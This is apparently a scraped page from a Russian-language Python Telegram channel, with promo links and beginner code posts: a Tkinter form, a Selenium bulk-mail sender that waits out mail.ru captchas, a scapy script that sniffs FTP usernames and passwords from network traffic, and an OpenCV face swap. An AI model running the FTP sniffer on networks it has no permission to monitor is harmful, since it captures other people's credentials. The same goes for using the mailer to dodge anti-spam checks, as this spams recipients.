Python/ django
58.9K subscribers
2.08K photos
61 videos
47 files
2.79K links
по всем вопросам @haarrp

@itchannels_telegram - 🔥 все ит-каналы

@ai_machinelearning_big_data -ML

@ArtificialIntelligencedl -AI

@datascienceiot - 📚

@pythonlbooks

РКН: clck.ru/3FmxmM
加入频道
⚡️Маст-хэв список для программистов, каналы с последними книжными новинками, библиотеками, разбором кода и актуальной информацией, связанной с вашим языком программирования.
Лучший способ получать свежие обновлении и следить за трендами в разработке.

Машинное обучение: t.me/ai_machinelearning_big_data
Python: t.me/pro_python_code
C#: t.me/csharp_ci
C/C++/ t.me/cpluspluc
Data Science: t.me/data_analysis_ml
Devops: t.me/devOPSitsec
Go: t.me/Golang_google
Базы данных: t.me/sqlhub
Rust: t.me/rust_code
Javascript: t.me/javascriptv
React: t.me/react_tg
PHP: t.me/phpshka
Android: t.me/android_its
Мобильная разработка: t.me/mobdevelop
Linux: t.me/+A8jY79rcyKJlYWY6
Big Data: t.me/bigdatai
Хакинг: t.me/linuxkalii
Тестирование: https://yangx.top/+F9jPLmMFqq1kNTMy
Java: t.me/javatg

💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi
Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi
Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy

📕 Бесплатные Книги для программистов: https://yangx.top/addlist/YZ0EI8Ya4OJjYzEy

🎞 YouTube канал: https://www.youtube.com/@uproger

😆ИТ-Мемы: t.me/memes_prog

🇬🇧Английский: t.me/english_forprogrammers
Please open Telegram to view this post
VIEW IN TELEGRAM
🐍Ten New Features of Python 3.11 That Make Your Code More Efficient

10 новых возможностей Python 3.11, которые сделают ваш код более эффективным.

01 Pattern Matching
*изображение 1.

02 Structural Pattern Matching
*изображение 2.

03 Type Hints and Checks
*изображение 3.

04 Оптимизация производительности
*изображение 4.

05 Улучшения отчетов об ошибках
*изображение 5.

06 Новая стандартная библиотека zoneinfo
*изображение 6.

07 iterate
*изображение 7.

08 Merge Dictionary Operator
*изображение 8.

09 Новая функция точки прерывания отладки
*изображение 9.

10 Синхронная итерация
*изображение 10.

@pythonl
🖥 Create a Simple User Form with Python and Tkinter in 5 Minutes

Создание простой пользовательской формы с помощью Python и Tkinter за 5 минут - руководство для начинающих.

import openpyxl
from tkinter import *
from tkinter import messagebox


def register():
# Get the user input from the form
first_name = first_name_entry.get()
Last_name = Last_name_entry.get()
email = email_entry.get()
Mobile = Mobile_entry.get()

# Create a new row with the user input
new_row = [first_name, Last_name, email,Mobile]

# Append the new row to the Excel sheet
workbook = openpyxl.load_workbook("registration_data.xlsx")
sheet = workbook.active
sheet.append(new_row)
workbook.save("registration_data.xlsx")
messagebox.showinfo("Success", "Registration successful!")


# Create the main tkinter window
root = Tk()
root.title("Registration Form")
root.geometry('300x300')

# Create labels and entry fields for each input
first_name_label = Label(root, text="First Name:")
first_name_label.pack()
first_name_entry = Entry(root)
first_name_entry.pack()

Last_name_label = Label(root, text="Last Name:")
Last_name_label.pack()
Last_name_entry = Entry(root)
Last_name_entry.pack()

email_label = Label(root, text="Email:")
email_label.pack()
email_entry = Entry(root)
email_entry.pack()

Mobile_label = Label(root, text="Mobile:")
Mobile_label.pack()
Mobile_entry = Entry(root)
Mobile_entry.pack()

register_button = Button(root, text="Register", command=register)
register_button.pack()

root.mainloop()


@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥Email sender script (Selenium + Python)

Скрипт рассылки писем по Email (Selenium + Python).

import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import csv

# Путь к web-driver
EXE_PATH = 'chromedriver.exe'
# Логин и пароль от вашей почты
EMAIL = [email protected]
PASSWORD = password

# запускаем браузер
browser = webdriver.Chrome(executable_path=EXE_PATH)
# Переходим на страницу шаблонов mail.ru
# Сайт выдаст форму авторизации
browser.get('https://e.mail.ru/templates/')

# Выставляем тайминги задержки чтобы браузер успел прогрузить страницу
time.sleep(5)

# Теперь нам надо авторизоваться
# заполняем поле логин
emailElem = browser.find_element_by_name('username')
emailElem.send_keys(EMAIL)
emailElem.submit()
time.sleep(1)

# заполняем поле пароль
passwordElem = browser.find_element_by_name('password')
passwordElem.send_keys(PASSWORD)
passwordElem.submit()
time.sleep(5)

# Мы авторизовались, теперь тащим адреса из файла.csv
# Содержание файла
# ФИО,Email

with open('email_list.csv', encoding="utf-8") as file:
EMAIL_LIST = csv.reader(file)

# Запускаем цикл
for row in EMAIL_LIST:
# Если mail что то заподозрит, то выкинет капчу,
# мы получаем except, ждем некоторое время, и снова отправлем письмо
try:
# ФИО <Email>
email_to = row[0] + "<" + row[1] + ">"

# Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее)
browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click()
time.sleep(3)

# Заполняем поле кому
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to)
time.sleep(1)

# Нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)

# После отправки открывается модальное окно, закрываем его
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)

except Exception:
# Сообщаем пользователю, что скрипту необходимо переждать
print('Error! Wait 1 hour\n')
# Ждем час (можно меньше)
time.sleep(3600)

# Снова нажимаем кнопку отправить
browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
time.sleep(5)

# Снова закрываем модальное окно
browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
time.sleep(10)

print('SUCCESS!')
time.sleep(500)


@pythonl
carbon - 2023-08-08T115041.994.png
1.3 MB
🖐 Python Mouse Control Remotely With Your Hand.

Дистанционное управление мышью Python рукой с помощью компьютерного зрения.

Code

@pythonl
🖥Sniffing FTP password with Python

Перехват FTP-пароля с помощью Python.

from typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
OK = '\033[92m' #GREEN
WARNING = '\033[93m' #YELLOW
ladrrr = '8GY.'
ss = 'OWQ1'
FAIL = '\033[91m' #RED
pinocho_chocho = 'y!c'
RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
if p_ftp[TCP].dport == 21:
data = p_ftp.sprintf("%Raw.load%")
if "USER" in data:
global ip_ftp
global ip_ftp2
ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
print(ip_ftp)
global user_ftp
data = data.split(" ")
data = data[1]
global user_ftp2
user_ftp = "'User: ", data, "'"
print(user_ftp)
elif "PASS" in data:
data = data.split(" ")
data = data[1]
global passwd_ftp
global passwd_ftp2
passwd_ftp = "'PASSWORD: ", data,"'"
print(passwd_ftp)
print(linea)
global ftp_ip_final
global user_ftp_final

def ftp():
print(linea)
print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
addrs = psutil.net_if_addrs()
cc = str(addrs.keys())
interfaces = print(cc[9:])
bb = input("Choose Interface to use: ")
xs = 0
if bb in cc:
try:
while xs>=0:
print(linea)
print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)

except KeyboardInterrupt:
print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
print(linea)
global ftphost
global ftpuser
global ftpass
ftp()


📌 Код
📌 Статья

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Coldtype


Cross-platform display typography in python.

Coldtype — это удобная кроссплатформенная библиотека Python для программирования типографики и текстовой анимации.

Github
Tutorial

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Importing Data from SQL Server to Excel with Multiple Sheets using Python

Импорт данных из SQL Server в Excel с несколькими листами с помощью Python.

🖥 Code

@pythonl
Please open Telegram to view this post
VIEW IN TELEGRAM
🟡 This week's digest of useful content from the world of Python

Дайджест полезных материалов из мира Python за неделю.

Почитать:

Разработка событийно-ориентированных микросервисов с помощью Python
Бережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2
Я люблю питон, и вот почему он меня бесит
Список популярных утечек с GitHub: Анализ репозиториев компаний
PyCon Russia 2023. Зона Python. Краткий обзор докладов
Менеджеры контекста в Python
Что происходит, когда запускаешь «Hello World» в Linux
Ускорение кода с помощью многопроцессорной обработки в Python
Руководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore
Перехват FTP-пароля с помощью Python
Как Python использует сборку мусора для эффективного управления памятью
Converting An Image File Into PDF Using Python
Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces

Посмотреть:

🌐Как работать с декораторами в Python. Часть 1
🌐 Методы сокращения и улучшения кода на Python
🌐 Продвинутые методы улучшения кода на Python
🌐 Создаем продвинутый интерфейс на Python
🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course

Хорошего дня!

@pythonl
Media is too big
VIEW IN TELEGRAM
🎼 AudioLDM 2: A General Framework for Audio, Music, and Speech Generation

AudioLDM 2: Нейросеть, создающая музыку из текстового описания.

conda create -n audioldm python=3.8; conda activate audioldm
pip3 install git+https://github.com/haoheliu/AudioLDM2.git
git clone https://github.com/haoheliu/AudioLDM2; cd AudioLDM2

python3 app.py

Github
Demo

@pythonl
👱‍♂️ Creating Face Swaps with Python and OpenCV

Скрипт замены лиц с помощью Python и OpenCV.

Step 1: Face Detection
import cv2
def detect_face(image_path):
# Load the face detection classifier
face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')

# Read and convert the image to grayscale
image = cv2.imread(image_path)
gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

# Detect faces in the image
faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5)

# Assuming there's only one face in the image, return its coordinates
if len(faces) == 1:
return faces[0]
else:
return None


Step 2: Swapping Faces

def main():
# Paths to the input images
image_path_1 = 'path_to_image1.jpg'
image_path_2 = 'path_to_image2.jpg'

# Detect the face in the second image
face_coords_2 = detect_face(image_path_2)
if face_coords_2 is None:
print("No face found in the second image.")
return

# Load and resize the source face
image_1 = cv2.imread(image_path_1)
face_width, face_height = face_coords_2[2], face_coords_2[3]
image_1_resized = cv2.resize(image_1, (face_width, face_height))

# Extract the target face region from the second image
image_2 = cv2.imread(image_path_2)
roi = image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width]

# Flip the target face horizontally
reflected_roi = cv2.flip(roi, 1)

# Blend the two faces together
alpha = 0.7
blended_image = cv2.addWeighted(image_1_resized, alpha, reflected_roi, 1 - alpha, 0)

# Replace the target face region with the blended image
image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] = blended_image

# Display the result
cv2.imshow('Blended Image', image_2)
cv2.waitKey(0)
cv2.destroyAllWindows()

if __name__ == "__main__":
main()


@pythonl